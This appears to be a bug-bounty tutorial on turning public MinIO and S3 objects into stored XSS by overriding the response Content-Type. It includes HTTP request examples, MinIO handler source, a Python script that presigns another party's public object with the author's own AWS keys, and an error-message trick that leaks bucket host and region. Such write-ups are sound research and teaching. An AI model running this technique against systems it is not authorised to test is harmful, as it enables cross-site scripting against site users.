All posts

Content-Type Override to Stored XSS on Public Objects

A single response-content-type query parameter on a public bucket object turns a forced image/png into text/html, which is stored XSS on the target's own origin. MinIO hands it to you for free. S3 takes one extra step.

A file uploader can pass every check you throw at it and still be exploitable. Not because the checks are weak, but because they're looking at the wrong moment. You test one, it bounces every bad upload you send, and the natural move is to mark it "well-secured" and walk away. I want to talk you out of that habit.

There's a stored XSS that lives in a lot of these uploaders, and it survives every defense the app puts in front of you. This post is about why that happens, and then how to actually pull it off, first on MinIO, where it's almost too easy, and then on S3, where it takes one more step.

By the end go back and look again at every public bucket you skipped. Let's get into it.

Where Defenders Spend Their Budget

Before we start breaking things, let's think about the person who built this uploader. Figure out where their attention went and you've basically found where it didn't.

Put yourself in the developer's chair for a second. You're told "let users upload profile pictures" and immediately your brain lights up with everything that could go wrong. Someone uploads a giant file. Someone uploads an XSS payload instead of an image. Someone crafts a path that overwrites another user's file. So you build a wall. You check the filename, you whitelist extensions, you sniff the magic bytes, you force a clean Content-Type before the thing ever touches storage. You test it, the bad uploads bounce, and it feels solid. You ship it.

And here's the thing, all of that effort is real and most of it is good. But notice where every bit of it landed. It's all clustered around the moment the file comes in. The upload handler is the part of the system the developer can actually see, run locally, and throw test cases at. It's tangible. It has a request body sitting right there asking to be validated. So that's where the security budget goes, because that's where the work feels like it's happening.

What gets almost no attention is the second act. The file is in the bucket now, it's public, and a browser is about to ask for it directly. That request doesn't go through the app at all. No validation code runs. The carefully forced Content-Type is just a piece of metadata sitting on the object. The developer rarely thinks hard about this part because, from their seat, the job already felt done back at upload time.

One thing worth being explicit about, since the rest of the post leans on it: we're talking about objects that are publicly readable. Anonymous, no credentials, the kind of file a browser can pull straight from the bucket without the app handing it a signed link first. That's not an exotic setup, it's how a huge number of apps serve avatars, attachments, and uploads. But it's the hinge everything else swings on.

One more thing before we move on, so we're on the same page about what's worth your time. The targets we care about here are the ones serving uploaded files from their own subdomain or from a path behind their reverse proxy, something like cdn.target.com or target.com/uploads/. That detail is the whole reason this matters. When the file comes back to the browser under the target's own origin, an HTML payload you sneak in there runs in that origin's context, and now you're not just rendering some HTML in a vacuum, you're sitting on real same-origin XSS with everything that unlocks. If the bucket gets served from some random storage domain nobody trusts, the trick still works but the impact mostly evaporates. So as we go through MinIO and S3, keep that in the back of your mind: we're hunting for the setups where you control content under an origin that actually means something.

MinIO: One Query Param and It's Yours

Let's just do it and explain afterward.

You've got a file sitting in a public MinIO bucket. The app forced it to image/png on the way in, and if you fetch it normally, that's exactly what comes back:

GET /uploads/avatar123.png HTTP/1.1
Host: cdn.target.com
HTTP/1.1 200 OK
Content-Type: image/png

Fine. Now add one query parameter:

GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com
HTTP/1.1 200 OK
Content-Type: text/html

That's it. Same object, same bytes, but MinIO now tells the browser it's HTML. If you uploaded something with <script> in it dressed up as a valid PNG, the browser stops seeing an image and starts rendering a page. No auth, no signing, nothing clever. You just asked, and it said yes.

If that feels too easy to be real, I had the same reaction, so let's go look at why MinIO does this on purpose.

Why it works

This isn't a bug, it's documented behavior, which is exactly what makes it so reliable. MinIO supports a small set of response header override params on GET, and the whole thing lives in cmd/object-handlers.go. There's a whitelist of params it'll honor:

var supportedHeadGetReqParams = map[string]string{
    "response-expires":             xhttp.Expires,
    "response-content-type":        xhttp.ContentType,
    "response-cache-control":       xhttp.CacheControl,
    "response-content-encoding":    xhttp.ContentEncoding,
    "response-content-language":    xhttp.ContentLanguage,
    "response-content-disposition": xhttp.ContentDisposition,
}

response-content-type maps straight onto the Content-Type response header. The function that applies it is just as direct:

func setHeadGetRespHeaders(w http.ResponseWriter, reqParams url.Values) {
    for k, v := range reqParams {
        if header, ok := supportedHeadGetReqParams[strings.ToLower(k)]; ok {
            w.Header()[header] = []string{strings.Join(v, ",")}
        }
    }
}

A couple of things worth noticing here. It's a flat assignment, so whatever value you pass replaces what was there, no validation and no sanitizing of the value. And there's no auth check inside this function at all.

The reason your override beats the object's real type comes down to ordering. Inside GetObjectHandler, MinIO sets the object's stored headers first, including the forced image/png, and *then* applies your query-param overrides on top:

if err = setObjectHeaders(ctx, w, objInfo, rs, opts); err != nil {
    writeErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)
    return
}

// ...

setHeadGetRespHeaders(w, r.Form)   // your override lands here, last word wins

setObjectHeaders is where that clean image/png would normally get set from the object's stored metadata:

if objInfo.ContentType != "" {
    w.Header().Set(xhttp.ContentType, objInfo.ContentType)
}

But since setHeadGetRespHeaders runs after it and does a plain overwrite, your text/html is what actually goes out the door. The app's careful upload-time decision gets quietly stomped at serve time by a string in your URL.

So that's the whole MinIO story: a public object plus one query param, and you decide what Content-Type the browser gets. Now let's see what happens when the target is on S3.

S3: Re-Sign It With Your Own Account

S3 supports the exact same response-content-type override as MinIO. Same param, same idea. So your first instinct is to do the MinIO thing, tack it onto the public object URL, and call it a day:

GET /uploads/avatar123.png?response-content-type=text/html HTTP/1.1
Host: cdn.target.com

And S3 slaps your hand:

HTTP/1.1 400 Bad Request

<Error>
    <Code>InvalidRequest</Code>
    <Message>Request specific response headers cannot be used for anonymous GET requests.</Message>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

That's the wall. AWS lets you override the response Content-Type, but it won't let an anonymous request do it. The override params are only honored when the request is signed. Public-but-anonymous is exactly the case it refuses.

The move

This looks like a dead end, but it isn't. S3 only wants the request to be signed by someone valid, and it never said that someone had to be the bucket's owner. The object is publicly readable, which means any AWS identity can read it, yours included. So you take your own credentials, generate a presigned URL for that object, and bake the response-content-type override right into the signature.

Here's a small script that does exactly that. You give it the bucket, the key, the region, and the endpoint to sign against, plus the content-type you want, and it prints back a presigned URL that serves the stored bytes as whatever you asked for:

#!/usr/bin/env python3
"""
Generate a presigned S3 GET URL that serves an object as a content-type
of your choosing, signed with YOUR own AWS credentials.

Usage:
  python3 poc.py <bucket> <key> <region> <endpoint-url> [content-type] [expires]

Example:
  python3 poc.py plann-api-prod uploads/avatar123.png us-east-1 \
      https://s3.us-east-1.amazonaws.com text/html
"""
import sys
import boto3
from botocore.client import Config

bucket, key, region, endpoint = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]
content_type = sys.argv[5] if len(sys.argv) > 5 else "text/html"
expires = int(sys.argv[6]) if len(sys.argv) > 6 else 3600

s3 = boto3.client(
    "s3",
    region_name=region,
    endpoint_url=endpoint,
    config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
)
url = s3.generate_presigned_url(
    "get_object",
    Params={
        "Bucket": bucket,
        "Key": key,
        "ResponseContentType": content_type,
    },
    ExpiresIn=expires,
)

print(url)

Run it against a public object:

python3 poc.py pwnbox-s3 517b379b-6471-4c62-af13-91de5efe4421.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

and you get a long signed link back. Open it, and S3 finally plays along, handing the same bytes back as text/html instead of the image/png the app forced at upload time.

What if you don't even know the bucket name? Sign the request with a wrong host or region on purpose and send it. When the signature doesn't match what S3 expects, the error response isn't just a flat rejection, it tends to hand you back the canonical request S3 reconstructed on its side, and that includes the real host it saw. So a SignatureDoesNotMatch response becomes a free leak of the true bucket host and region, the exact two things you were missing. Read them out of the error, plug them back into the script, sign it properly, and you're back on track.

<Error>
    <Code>SignatureDoesNotMatch</Code>
    <Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message>
    <AWSAccessKeyId>...</AWSAccessKeyId>
    <StringToSign>...</StringToSign>
    <SignatureProvided>...</SignatureProvided>
    <StringToSignBytes>...</StringToSignBytes>
    <CanonicalRequest>GET /517b379b-6471-4c62-af13-91de5efe4421.png X-Amz-Algorithm=... host:pwnbox-s3.s3.us-east-1.amazonaws.com host UNSIGNED-PAYLOAD</CanonicalRequest>
    <CanonicalRequestBytes>...</CanonicalRequestBytes>
    <RequestId>...</RequestId>
    <HostId>...</HostId>
</Error>

The Hunter's Checklist

Append ?response-content-type=text/html to every public uploaded image you come across and watch what comes back.

If it returns Content-Type: text/html, you're on MinIO (or something that behaves like it) and you're basically done. The object will render as HTML and you can go straight to exploiting it.

If it returns Request specific response headers cannot be used for anonymous GET requests, that's S3 telling you the override exists but it won't honor it anonymously. That error is a green light, not a wall. Re-sign the public object with your own AWS account, put the override in the signed request, and you get the same result with one extra step.

Either response means the door is open. The only thing left is to check the origin, because that's what decides whether it's a real finding or a footnote.

Happy hunting!